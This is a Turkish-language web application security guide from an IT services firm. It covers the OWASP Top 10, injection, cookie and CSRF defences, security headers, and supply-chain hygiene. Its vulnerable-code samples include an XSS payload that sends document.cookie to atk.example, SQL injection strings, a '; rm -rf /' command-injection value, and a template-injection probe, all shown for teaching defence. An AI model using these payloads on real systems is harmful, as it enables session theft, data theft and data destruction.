irdaweb Bilgi Teknolojileri
Telefon numaramız +90 541 209 02 05
E-posta adresimiz [email protected]
Konu 12 · Web Uygulama Güvenliği

Web uygulama güvenliği — saldırı yüzeyi ve savunma.

Bir gün giriş formuna iliştirilmiş tek satırlık bir SQL parçası tüm kullanıcı tablosunu dışarı çıkarabilir; başka bir gün yorum alanına yerleştirilen küçük bir <script> ziyaretçilerin oturum çerezlerini çalabilir. Bu sayfada web uygulamalarınızı bu tip gerçek tehditlere karşı koruyan temel kavramları — OWASP Top 10'dan girdiye-çıktıya hijyene, oturum güvenliğinden tarayıcı tarafı savunma katmanına ve bağımlılık tedarik zincirine kadar — birlikte yan yana koyduk.

01 — Tehdit yüzeyi

Web uygulamasının saldırı yüzeyi: kullanıcıdan gelen her girdi, sunulan her sayfa

Klasik bir web uygulaması; form alanları, URL parametreleri, başlıklar, çerezler, dosya yüklemeleri ve üçüncü taraf çağrılarıyla sürekli dış dünyaya açık duran bir yüzeydir. Saldırgan için her girdi bir kanal, her yanıt bir fırsat, her bağımlılık potansiyel bir arka kapıdır. Aşağıda — herhangi bir sektörden ekibin gerçekten karşılaştığı altı tipik senaryo. Hepsinin ortak yanı, koddaki tek bir hijyen eksikliğinin tek başına yeterli olmasıdır.

Senaryo · 01 XSS

Yorum alanından çalınan oturum

Blog yorumlarını HTML kaçışı olmadan basan bir sayfaya saldırgan <script> yerleştirir. Sayfayı açan her ziyaretçinin tarayıcısında bu kod çalışır; document.cookie başka bir sunucuya gönderilir ve oturumlar başkasının eline geçer.

Senaryo · 02 SQLi

Login formundan veri tabanı dökümü

Kullanıcı adı alanını string olarak SQL'e yapıştıran bir login akışı varsa, saldırgan ' OR 1=1 -- ile girer; sorgu her zaman doğru döner ve devamında UNION SELECT ile users tablosunu dışarı taşıyabilir.

Senaryo · 03 CSRF

Oturumu açık kullanıcıya zorla işlem

Kullanıcı internet bankacılığına giriş yapmış ve sekmesi açıkken kötü amaçlı bir siteye gidiyor. O site arka planda banka sitesine POST /transfer isteği gönderir; çerez otomatik gider, eğer CSRF token doğrulaması yoksa transfer gerçekleşir.

Senaryo · 04 IDOR

URL'deki sayıyı değiştirip başkasının verisi

SaaS panelinde /invoices/847 sayfasını gören kullanıcı, URL'yi /invoices/848 yapıp başka bir müşterinin faturasını okur. Kimlik doğrulama vardır; eksik olan yetkilendirme — bu kaydın bu kullanıcıya ait olup olmadığı kontrolü.

Senaryo · 05 Oturum

Cookie'siz token, public Wi-Fi'da kopyalanır

Oturum jetonu localStorage'da tutulur ve site HTTP üzerinden de erişilebilir. Saldırgan aynı ağda kullanıcı isteklerini dinler ya da bir XSS ile depodaki token'ı okur; iki günlük geçerli oturum aktarılır.

Senaryo · 06 Tedarik

npm/gem güncellemesi ile gelen arka kapı

Production'da kullandığınız küçük bir paket maintainer'ın hesabı ele geçirilir; bir sonraki minor sürüme zararlı kod eklenir. ^1.2.3 ile pin'lenmiş bağımlılık otomatik yükselir, build pipeline'ı kötü amaçlı kodu paketleyip dağıtır.

Güvenlik perspektifi

Bu altı senaryonun hiçbiri "gelişmiş" saldırı değildir; her biri tek bir varsayımın ihlali ile başlar. Güvenli yazılım, "kullanıcıdan gelen her şey düşmandır, kendi koduma bile mesafeli yaklaşırım" disiplinidir. Aşağıda OWASP'ın bu tip ihlalleri kategorize ettiği Top 10 listesine geçiyoruz.

02 — OWASP Top 10 (2021)

Web uygulama güvenliğinde ortak referans çerçevesi

OWASP Top 10, dünya genelinde gözlenen güvenlik açıklarını 10 kategoriye toplayan, üç-dört yılda bir güncellenen referans listedir. Pen-test raporlarından bug bounty hedeflerine, uyumluluk denetimlerinden geliştirici eğitimine kadar her yerde aynı kategorilere atıf yapılır.

Sürüm

2021

Kategori

10

Yayıncı

OWASP

2021 sürümünde "Broken Access Control" 1. sıraya çıktı; "Insecure Design" ise yeni bir kategori olarak eklendi.

  1. A01

    Broken Access Control

    Kimlik doğrulanmış kullanıcının erişmemesi gereken bir kaynağa erişebilmesi. IDOR, eksik authorize çağrısı, role escalation. Top 10'un yeni 1. sırası.

  2. A02

    Cryptographic Failures

    Hassas veriyi (parola, ödeme, kimlik) düz metin tutmak; zayıf algoritma (MD5, SHA-1); TLS kurmadan trafik; rastgelelikte zayıf kaynak. Eski adıyla "Sensitive Data Exposure".

  3. A03

    Injection

    SQL, NoSQL, OS komutu, LDAP, ORM, template — kullanıcı girdisini koda karıştıran her durum. XSS de bu kategoriye dâhil edildi. Çözüm: parametre bağlama ve bağlam-duyarlı kaçış.

  4. A04

    Insecure Design

    İmplementasyon değil, tasarımdan gelen zafiyetler: parola sıfırlama akışının kötü kurgusu, oran sınırlaması olmayan bir endpoint, gereksiz veri toplama. Tehdit modellemeyle yakalanır, sonradan yamayla değil.

  5. A05

    Security Misconfiguration

    Açık varsayılan parolalar, üretimde debug ekranı, gereksiz açık portlar, eksik güvenlik başlıkları, yanlış CORS politikası, S3 bucket'larının public olması. En sık denetim bulgusu.

  6. A06

    Vulnerable & Outdated Components

    Bilinen CVE'leri olan kütüphane, framework, runtime ya da OS kullanmak. Kendi kodunuz mükemmel olsa bile bir log4j seviyesinde bağımlılık kapıyı açabilir.

  7. A07

    Identification & Authentication Failures

    Zayıf parola politikası, credential stuffing'e açık login, oturum jetonunun URL'de geçmesi, MFA eksikliği, oturum süresinin hiç kapanmaması. Eski adıyla "Broken Authentication".

  8. A08

    Software & Data Integrity Failures

    İmzasız güncellemeler, doğrulanmamış CI/CD pipeline'ları, deserialization zafiyetleri. SolarWinds tarzı tedarik zinciri saldırılarını kapsayan yeni kategori.

  9. A09

    Security Logging & Monitoring Failures

    Saldırının fark edilmesini sağlayan başarısız giriş, yetki yükseltme, kritik yapılandırma değişikliği gibi olayların ya hiç loglanmaması ya da kimsenin bakmaması. Ortalama ihlal tespit süresi 200+ gündür.

  10. A10

    Server-Side Request Forgery (SSRF)

    Uygulamanın kullanıcı kontrolündeki URL'lere istek atması — 169.254.169.254 ile cloud metadata, intranet servisleri ya da localhost'a sızma. Cloud çağında özellikle tehlikeli.

Kaynak: owasp.org/Top10 · 2021 sürümü, bir sonraki yayım önümüzdeki yıllarda.

03 — Injection sınıfı saldırılar

Kullanıcı verisini koda karıştırmamak: parametre bağlama ve bağlam-duyarlı kaçış

Injection ailesinin tamamı tek bir kavramsal hatadan doğar: kullanıcı girdisinin, çalıştırıcı (SQL motoru, HTML parser, kabuk, şablon motoru) tarafından "kod" olarak yorumlanması. Çözüm de tek bir prensiptir: girdi her zaman veri olarak işaretlenmeli, asla doğrudan kodun içine yapıştırılmamalıdır. Üç tipik aileyi yan yana koyalım.

SQL injection · string birleştirme vs. parametre bağlama

İki blok da aynı amaca hizmet eder: email ile kullanıcı arar. Birincisi her saldırı eğitiminin başlangıç sınıfıdır.

Zayıf string birleştirme
# Ruby / herhangi bir dil — kavram aynı
email = params[:email]

# Girdi doğrudan SQL'in içine yapıştırılır
User.find_by_sql(
  "SELECT * FROM users WHERE email = '#{email}'"
)

# Saldırgan email alanına şunu yazar:
#   ' OR '1'='1' --
# Çalışan sorgu:
#   SELECT * FROM users WHERE email = '' OR '1'='1' --'
# Sonuç: tüm users tablosu döner
Güvenli parametre bağlama
# ORM'in soru-işareti / sembol bağlaması
email = params[:email]

User.where("email = ?", email)
# ya da daha deyimsel:
User.where(email: email)

# Sürücü, email'i ayrı bir parametre olarak
# gönderir; veri tabanı için bu bir DEĞERDİR,
# asla SQL parçası olarak yorumlanmaz.

# İlke: dinamik kısım string olarak kurulmaz,
#       sürücüye değer olarak iletilir.

XSS · innerHTML ile HTML üretmek vs. bağlama göre kaçış

XSS, kullanıcı verisinin HTML / JS / URL bağlamlarından birine kontrolsüz yerleştirilmesidir. Her bağlamın kendi kaçış kuralı vardır — tek bir htmlspecialchars her durumu çözmez.

Zayıf innerHTML
// Kullanıcı yorumu doğrudan HTML'e basılır
const yorum = await fetch("/api/comment")
  .then(r => r.json())

document.querySelector("#yorum")
  .innerHTML = yorum.text

// Saldırgan yorum metnini şöyle bırakır:
//   <img src=x onerror="
//     fetch('//atk.example/' + document.cookie)
//   ">

// Tarayıcı bunu HTML olarak ayrıştırır,
// onerror tetiklenir, çerez sızar.
Güvenli textContent / bağlam kaçışı
// 1) Sade metinse: textContent
document.querySelector("#yorum")
  .textContent = yorum.text

// 2) Server-side render ediyorsanız:
//    şablon motoru otomatik kaçışlamalı
//    (ERB <%= %>, Jinja {{ }}, Liquid {{ }}…)

// 3) Zengin HTML gerçekten gerekliyse:
//    DOMPurify gibi allow-list tabanlı sanitizer
import DOMPurify from "dompurify"
el.innerHTML = DOMPurify.sanitize(yorum.text)

// İlke: BAĞLAMA göre kaçış — HTML, attr,
// JS, URL ve CSS için kurallar ayrıdır.

Diğer injection aileleri — aynı kavram, farklı çalıştırıcı

OS / Kabuk

Command injection

Dosya adı veya hedef kullanıcı girdisinden alınıp system("convert " + path) ile kabuğa veriliyorsa, ; rm -rf / aynı satırda çalışır. Çözüm: shell tamamen atlanan dizi-tabanlı API (execve, subprocess.run([…])).

Şablon

Server-side template injection

Kullanıcı girdisini şablon olarak işleyen sistemler (Jinja, Twig, Liquid, ERB) ciddi yan etkilere açıktır. {{ 7*7 }} yansırsa, sonrasında uzaktan kod çalıştırma yolları açılır. Kullanıcı girdisi şablon değil, değişken olarak verilmelidir.

NoSQL / LDAP

Yapısal injection

MongoDB sorguya JSON olarak gelen {"$ne": null}, LDAP filtresine yapıştırılan * aynı sınıfa girer. Sürücünün tür-duyarlı bağlamasını kullanın; gelen veriyi her zaman beklenen tipe (String, Number) zorlayın.

Tek cümlede ilke

Girdi, çalıştırıcıya veri olarak verilir; asla kodun gövdesine yapıştırılarak değil. Bu ilke korunduğunda — SQL, HTML, kabuk, şablon, NoSQL fark etmeksizin — tüm injection ailesi büyük ölçüde nötralize olur.

04 — Kimlik & oturum güvenliği

Kullanıcının kim olduğu, oturumun nasıl taşındığı ve kötü amaçlı isteklerin nasıl ayrıldığı

Authentication "kim olduğunu kanıtlıyor musun?" sorusuna, authorization "bunu yapmaya hakkın var mı?" sorusuna cevap verir; oturum yönetimi ise bu kanıtın istekten isteğe nasıl taşındığını belirler. Çoğu sızıntı bu üç katmandan birinde küçük bir varsayımın gevşemesiyle başlar — çerezin HttpOnly olmaması, CSRF token'ın eksikliği veya brute-force'a açık bir login formu. OAuth 2.0, OpenID Connect, MFA ve token yaşam döngüsünün ayrıntısı için Kimlik ve Erişim Yönetimi.

Çerez bayrakları — oturum jetonunu taşıyan kabın güvenlik anahtarları

Oturum çerezi yalnızca bir değer değil; üzerine konulan üç bayrak, çerezin hangi koşullarda ve nasıl gönderileceğini belirler.

HttpOnly
Çereze JavaScript'ten (document.cookie) erişimi tamamen kapatır. Bir XSS açığı bile token'ı okuyamaz; saldırgan en fazla kullanıcı oturumdayken işlem yapabilir, jetonu dışarı taşıyamaz. Oturum çerezleri için varsayılan olmalıdır.
Secure
Çerezin yalnızca HTTPS üzerinden gönderilmesini zorunlu kılar. Açık Wi-Fi ya da yanlışlıkla http:// linkine düşüş anlarında jetonun düz metin sızmasını engeller. HSTS ile birlikte kullanılır; üretim sitesi HTTPS'ten başka şey görmemelidir.
SameSite
Çerezin başka sitelerden gelen isteklerle birlikte gönderilip gönderilmeyeceğini kontrol eder. Strict hiçbir cross-site isteğe takmaz; Lax (modern tarayıcılarda varsayılan) GET ile top-level gezintiye izin verir; None tüm cross-site'a izin verir ve Secure ile birlikte kullanılması zorunludur. CSRF'i büyük ölçüde köküdür.
Önerilen Set-Cookie üzerinde 3 bayrak
# Tipik bir oturum çerezi yanıtı:

Set-Cookie: _session=aGVsbG8td29ybGQ.MGE0Yjg...;
            HttpOnly;
            Secure;
            SameSite=Lax;
            Path=/;
            Max-Age=86400

# Üç bayrak birlikte:
# XSS → çereze ulaşamaz
# HTTP → çerez gönderilmez
# Cross-site form → çerez gitmez

Bonus: __Host- öneki

Çerez adı __Host-_session gibi __Host- önekiyle başlarsa, tarayıcı çerezi sadece tam olarak aynı host'tan kabul eder, alt alan adları onu okuyamaz veya yazamaz. Subdomain takeover riskine karşı ek katman.

__Secure- öneki ise yalnızca Secure bayraklı çerezler için izin verir.

CSRF — oturumu açık kullanıcıyı taklit etmek

CSRF (Cross-Site Request Forgery), kullanıcının tarayıcısının "kim olduğunu" değil, "şu anda nerede oturum açtığını" istismar eder. Üç tipik savunma birlikte kullanılabilir; en sağlamı katmanlı kullanmaktır.

Savunma · 01

Synchronizer token

Sunucu, oturuma bağlı bir token üretip her formun gizli alanına yerleştirir. POST geldiğinde, isteğin gövdesindeki token ile oturumdaki token karşılaştırılır. Rails'in protect_from_forgery'si, Django'nun {% csrf_token %}'u bu yöntemi kullanır.

Savunma · 02

Double-submit cookie

Aynı rastgele değer hem çereze hem de header / form alanına konur. Sunucu ikisinin eşleşmesini bekler. Saldırgan üçüncü taraf bir siteden çereze yazamayacağı için her iki kanaldan aynı değeri eşleyemez. Stateless servisler için pratiktir.

Savunma · 03

SameSite + Origin doğrulama

SameSite=Lax tek başına klasik CSRF'in çoğunu engeller. Buna ek olarak yazma uçlarında Origin ya da Referer başlığının kendi alan adınızla eşleşmesini şart koşmak, sıfır maliyetli ek katmandır.

Brute-force, credential stuffing ve MFA

Login formu, internetin en yoğun saldırı altında kalan endpoint'lerinden biridir. Sızdırılmış parola listeleri ile yapılan kitlesel denemelerin (credential stuffing) önüne geçmek için tek bir savunma yetmez; katman gerekir.

Hız sınırlaması & backoff

Hem kullanıcı bazlı (aynı e-postaya art arda denemeler) hem IP bazlı limit. Limit aşılınca üstel backoff veya CAPTCHA; aynı kimlik için 1000 yanlış deneme normal değildir, üretimde alarm tetiklemelidir.

MFA — özellikle TOTP & passkey

Parola sızdığında oturumu kurtaran ikinci faktördür. SMS phishing'e açıktır; TOTP (Google Authenticator, 1Password) makul iyi; donanım anahtarları / passkey (WebAuthn) ise phishing'e karşı dayanıklıdır çünkü kimlik bilgileri origin'e bağlıdır.

Parola hijyeni

NIST artık "her 90 günde değiştir" kuralını önermiyor. Yerine: minimum 12 karakter, ortak parola listelerine karşı kontrol (HaveIBeenPwned API), bcrypt / argon2 ile saklama, sızıntı tespit edildiğinde zorunlu reset.

Oturum güvenliğinde temel reçete

HttpOnly + Secure + SameSite=Lax oturum çerezi, yazma uçlarında CSRF token + Origin kontrolü, login'de rate limit + MFA. Bu dört unsur birlikte uygulandığında oturum tabanlı saldırı yüzeyinin büyük kısmı kapanır.

05 — Tarayıcı tarafı savunma

HTTP başlıkları ile tarayıcıya "ne yapma" diyen savunma katmanı

Server-side savunmalar (input validation, parametre bağlama, authorization) kapısını sıkı tutsa bile, modern bir saldırı yüzeyi büyük ölçüde tarayıcı içindedir. Tarayıcıyı "şu kaynaktan kod çalıştırma", "sadece HTTPS ile konuş", "ben kimseye iframe içinde gösterilmem" gibi kurallarla terbiye etmek HTTP yanıt başlıkları ile yapılır. Maliyetsiz, etkili, çoğu zaman unutulmuş bir katmandır.

Content Security Policy (CSP) — kaynak allow-list'i

CSP, sayfa içinde hangi kaynaklardan script, style, görsel, font, frame yüklenebileceğini açıkça beyan eder. Bir XSS açığı tetiklense bile, saldırganın eklediği <script src="//atk.example/..."> politikanın dışındaysa tarayıcı çalıştırmaz. XSS'in son savunma hattı.

Content-Security-Policy
# Tipik bir başlangıç politikası

Content-Security-Policy:
  default-src 'self';
  script-src  'self' 'nonce-2a8f...';
  style-src   'self' 'unsafe-inline';
  img-src     'self' data: https://cdn.example;
  font-src    'self';
  connect-src 'self' https://api.example;
  frame-ancestors 'none';
  base-uri   'self';
  form-action 'self';
  report-uri  /csp-report

# İlke: önce default-src 'self', sonra
# gerçekten gereken kaynakları beyaz listele.

Nonce / hash

'unsafe-inline' kullanmaktan kaçının. Her sayfa yüklemesi için rastgele üretilen bir nonce ile inline script'lerinizi imzalayın.

Report-only mod

Content-Security-Policy-Report-Only ile politikayı kırmadan denemeleri toplayın; gürültü dindikten sonra zorlama moduna geçin.

strict-dynamic

Modern sayfalarda script-src 'nonce-...' 'strict-dynamic' yaklaşımı, allow-list bakım yükünü azaltır.

Diğer güvenli başlıklar — düşük maliyet, yüksek geri dönüş

CSP ile birlikte üretime girmesi gereken klasik başlıklar. Birçoğu tek satırla eklenir; eklenmediğinde tarayıcı varsayılan davranışı çoğu zaman uygulamanın aleyhinedir.

Strict-Transport-Security

HSTS

max-age=63072000; includeSubDomains; preload — tarayıcıya iki yıl boyunca bu domain'e sadece HTTPS üzerinden gitmesini söyler; HTTP'den HTTPS'e açıkça yapılan istek bile baştan engellenir. preload ile tarayıcı listesine kalıcı girilir. Protokol sürümleri ve cipher yapılandırması için TLS, SSL ve Sertifikalar.
X-Frame-Options

frame-ancestors

DENY ya da SAMEORIGIN ile sayfanın iframe içine gömülmesini engelleyerek clickjacking saldırılarını keser. Modern eşdeğeri: CSP'nin frame-ancestors direktifi. İkisi birlikte ya da CSP'li sayfalarda yalnız frame-ancestors kullanın.
Referrer-Policy

gizlilik

strict-origin-when-cross-origin önerilir; aynı origin'de tam URL, dış origin'e yalnızca origin gönderir. Aksi takdirde URL'deki ?reset_token=... gibi hassas parametreler üçüncü taraflara sızabilir.
Permissions-Policy

yetenek kısıtı

camera=(), microphone=(), geolocation=(), payment=() — sayfanın ve iframe'lerinin hangi tarayıcı API'lerine erişebileceğini sınırlar. Saldırgan XSS ile iframe yerleştirse bile bu yetenekler kapalıdır.
X-Content-Type-Options

MIME sniff

nosniff tek değer; tarayıcının Content-Type'ı tahmin etmesini engeller. Aksi takdirde kullanıcının yüklediği bir görseli tarayıcı script olarak yorumlayabilir.

SRI — üçüncü taraf script'in değişmediğinden emin olmak

CDN'den çekilen üçüncü taraf script ya da CSS'in beklediğiniz dosya olduğunu, tarayıcı kullanmadan önce hash karşılaştırması ile doğrulamak — bu Subresource Integrity'dir. CDN ele geçirilse veya değişikliğe uğrasa, tarayıcı dosyayı yüklemez.

Üçüncü taraf JS kullanıyorsanız (analitik, ödeme widget'ı, harita kütüphanesi…) ve sürümü pin'lediyseniz, SRI bedavadır.

SRI ile script etiketi
<!-- integrity ile hash beyanı -->
<script
  src="https://cdn.example/lib-1.2.3.min.js"
  integrity="sha384-oqVuAfXR..."
  crossorigin="anonymous">
</script>

# Tarayıcı dosyayı indirir, hash'i hesaplar,
# beklenenle karşılaştırır; eşleşmezse
# dosya yüklenmez ve kod çalışmaz.

Pratik öneri

Yeni bir uygulamayı üretime alırken minimum başlık seti: CSP (önce report-only, sonra enforce), HSTS, Referrer-Policy, Permissions-Policy, X-Content-Type-Options: nosniff. Mevcut başlıklarınızı görmek için securityheaders.com, CSP iskeleti üretmek için Google CSP Evaluator faydalıdır.

06 — Bağımlılık & tedarik zinciri

Kendi yazdığınız kod kadar, build'inize giren her satır da sizindir

Modern bir web uygulamasının node_modules klasöründe yüzlerce, çoğunlukla binlerce dolaylı bağımlılık vardır. Production paketinin içinde kimseyi tanımadığınız onlarca maintainer'ın kodunu çalıştırırsınız. Bir paket maintainer'ının hesabının çalınması — ya da bir bağımlılığın tek satırlık güncellemesinde gizli zararlı kodun eklenmesi — bütün bu satırların aniden sizin çalıştırıcınız haline gelmesi demektir.

Saldırı yüzeyi

100ler

Tipik bir Node uygulamasında 20–30 doğrudan bağımlılık, ağaç açıldığında 500–2000+ dolaylı paket. Hepsi build çıktısına girer.

Tipik tedarik saldırısı

1 satır

Bir maintainer'ın hesabı ele geçirildiğinde, çoğunlukla pakete tek satırlık zararlı kod ekleyip yeni patch sürümü yayımlanır. ^1.2.3 ile pin'lenmemiş projelerde otomatik girer.

Bilinen vaka

log4j · xz

log4shell milyonlarca Java servisini etkiledi; xz-utils backdoor'u upstream'e yıllar boyunca güven inşa eden bir maintainer tarafından eklendi.

Lock file & pinning — beklediğiniz sürümün geldiğinden emin olmak

package.json'da ^1.2.3 yazmak "1.x'in en güncel sürümü olsun" demektir; iki ay sonra 1.2.4 yayımlanırsa ekibinizdeki herkesin (ve build sunucusunun) farklı sürüm çekmesi olasıdır. Çözüm: lock dosyası ve --frozen kurulum.

Riskli lock yok, range pin
# package.json
{
  "dependencies": {
    "express": "^4.18.0",
    "lodash":  "~4.17.20",
    "some-lib": "latest"
  }
}

# Üretim build'i sırasında her seferinde
# güncel patch / minor çekilebilir.
# Maintainer hijack'i otomatik yayılır.
Güvenli lock + frozen install
# Lock dosyası repo'ya commit edilir:
#   package-lock.json (npm)
#   yarn.lock         (yarn)
#   pnpm-lock.yaml    (pnpm)
#   Gemfile.lock      (bundler)
#   poetry.lock       (poetry)

# CI / üretim build'inde:
$ npm ci
$ pnpm install --frozen-lockfile
$ bundle install --deployment

# Lock dosyasında YAZAN sürüm gelir;
# güncelleme açıkça commit edilir.

Otomatik tarama — bilinen CVE'leri sessiz bekletmemek

Bağımlılıklarınızın bir kısmında her hafta yeni CVE çıkar. Bunları manuel takip etmek imkânsızdır; CI / repo entegrasyonu olan bir araç açığı PR olarak getirir.

Araç · 01

Dependabot / Renovate

GitHub'a entegre Dependabot ya da self-hosted Renovate, lock dosyalarınızı tarar, yamalı sürüm için PR açar. Kritik CVE'lerde otomatik etiketleme + bildirim.

Araç · 02

npm audit / bundle audit

Komut satırından, CI adımı olarak çalıştırılabilir. npm audit --audit-level=high kritik açıkta build'i durdurur. Ekosistem-özel ama kurulumu sıfır.

Araç · 03

SCA platformları (Snyk, Trivy, Grype)

Software Composition Analysis araçları konteyner imajınızı, lock dosyanızı ve OS paketlerinizi birlikte tarar. SBOM üretimi, lisans denetimi ve dashboard görünümü sunarlar.

SBOM & imzalama — "içeride ne var, kim koydu" kayıtları

SBOM

Software Bill of Materials

Bir build çıktısının içindeki tüm bileşenleri (paket adı, sürüm, lisans, hash) listeleyen makine-okunur belge. CycloneDX ve SPDX en yaygın formatlardır. Bir CVE patlak verdiğinde "bu paket bizde var mı?" sorusuna saniyeler içinde cevap verir.

İmza

Artifact signing (Sigstore / cosign)

Konteyner imajınız ve build artifact'larınız Sigstore / cosign ile imzalanır; deploy adımı yalnızca imzalı ve doğrulanmış artifact'ları kabul eder. Build pipeline'ından üretim ortamına giden hattın bütünlüğünü garantiler.

Pratik başlangıç

Lock dosyasını repo'ya commit'leyin ve CI'de npm ci / --frozen-lockfile kullanın. Dependabot'u aktive edin, audit komutunu CI adımı yapın. Kritik servisler için SBOM üretin ve artifact imzalama akışını kurun. Üçü birlikte tedarik zinciri saldırılarının büyük kısmını ya engeller ya da hızlı tespit edilebilir hale getirir.

07 — Süreç & operasyon

Güvenliği ürünün ömrüne yayan dört disiplin

Bireysel kontroller (CSP, parametre bağlama, çerez bayrakları) gerekli ama yeterli değildir. Güvenli yazılım, tasarımdan dağıtıma ve sonrasında tespitten yanıta kadar uzanan birbirini bütünleyen dört disiplinle ayakta kalır. Hepsini büyük ölçekte uygulamak zorunda değilsiniz; her birinden ekibinizin durumuna uygun en sade biçimi yapmak yeterlidir.

Adım · 01 · Tasarım

Tehdit modelleme

Bir özelliği tasarlarken "bunu kim, nasıl kötüye kullanabilir?" sorusunu erkenden sormak. STRIDE çerçevesi (Spoofing, Tampering, Repudiation, Information Disclosure, DoS, Elevation of Privilege) basit bir checklist olarak işe yarar. Bir saatlik bir oturum bile, tasarımdan gelen birçok ihlali yakalar.

Adım · 02 · Geliştirme

Güvenli kod incelemesi & SAST

PR review'lerinde "burada kullanıcı girdisi var, bağlam ne?" gözünün açık olması. Otomatik destekleyici: Static Application Security Testing araçları (Semgrep, CodeQL, Brakeman) bilinen kalıpları (raw SQL, eval, deserialize) commit anında yakalar.

Adım · 03 · Doğrulama

Penetrasyon testi & DAST

Üretime yakın ortamda dışarıdan bir gözle saldırı simülasyonu. Bağımsız pen-test ekibi yılda 1-2 kez kritik akışları test ederken, OWASP ZAP / Burp Suite gibi DAST araçları staging'de sürekli koşar. Yeni bulguları SLA ile takip edin.

Adım · 04 · Açıklık

Bug bounty & security.txt

Dışarıdaki bir araştırmacı zafiyeti bulduğunda size nasıl ulaşacağı net olsun. /.well-known/security.txt bir başlangıçtır; bug bounty programı (HackerOne, Intigriti) ya da en azından açık bir vulnerability disclosure policy ile saldırının değil, ipucunun gelmesini kolaylaştırın.

Operasyon · Olay sonrası

İhlal müdahale planı

Bir gün bir şey aşılırsa: izolasyon (etkilenen oturum/anahtar iptal), kapsam tespit (loglardan kim ne erişti), iletişim (etkilenen kullanıcılar, KVKK/yasal bildirimler), kök-neden ve düzeltme (kod, süreç ya da konfigürasyon değişikliği), post-mortem. Olay anında soru sormak için değil, hazır bir runbook için zamandır.

08 — Sık karıştırılanlar

Sık karıştırılan web güvenliği kavramları

Authentication vs. Authorization

Authentication kullanıcının kim olduğunu doğrular (login). Authorization ise o kullanıcının ne yapabileceğine karar verir (yetki). IDOR ve Broken Access Control kategorisi bu ikincisinin eksikliğidir — kimlik doğrulanmıştır ama erişim hakkı kontrol edilmemiştir.

Encryption vs. Hashing

Encryption geri alınabilir: doğru anahtarla şifreli veri açılır. Hassas veriyi (mesaj, ödeme bilgisi) korumak için kullanılır. Hashing ise geri alınamaz: tek yönlüdür. Parolaları hash'lersiniz (bcrypt, argon2) — şifrelemezsiniz; çünkü hiçbir zaman geri okumaya ihtiyacınız yok, sadece eşleşmeyi doğrularsınız.

XSS vs. CSRF

XSS, saldırganın sizin sayfanızda onun kodunu çalıştırmasıdır (girdi kaçışı sorunu). CSRF ise saldırganın kendi sayfasında, sizin oturumunuzla banka sitenize istek yollatmasıdır (origin doğrulama sorunu). İkisi de farklı savunma katmanlarına aittir.

WAF vs. Uygulama güvenliği

WAF (Web Application Firewall) uygulamanın önünde duran ve bilinen kötü kalıpları imza/heuristik ile süzen bir filtredir. Kötü tasarımı ya da iş mantığı açıklarını göremez — yalnızca tipik saldırı şablonlarına perde olur. Yedek katman olarak değerli, birincil savunma olarak yetersizdir.

Pen test vs. Bug bounty

Pen test belirli bir zaman aralığında, sözleşmeli bir ekibin uygulamanın belirlenmiş kapsamını test etmesidir. Bug bounty ise sürekli açık bir programdır — dünya genelinden araştırmacılar her zaman bakar, bulduklarını ödülle bildirirler. İkisi birbirini tamamlar; bug bounty pen-test'in yerini almaz.

Birinci el kaynaklar

OWASP, MDN, Mozilla Observatory ve NIST gibi web güvenliği alanını tanımlayan kuruluşların yayınları.

Sıradaki adım

Uygulamanızın güvenlik duruşuna birlikte bakalım.

Mevcut başlıkların, oturum yönetiminin, bağımlılık hattının ve operasyonel disiplininin bir bütün olarak gözden geçirilmesi — sızıntıyı önceden tespit etmek, sonradan yamamaktan her zaman ucuzdur.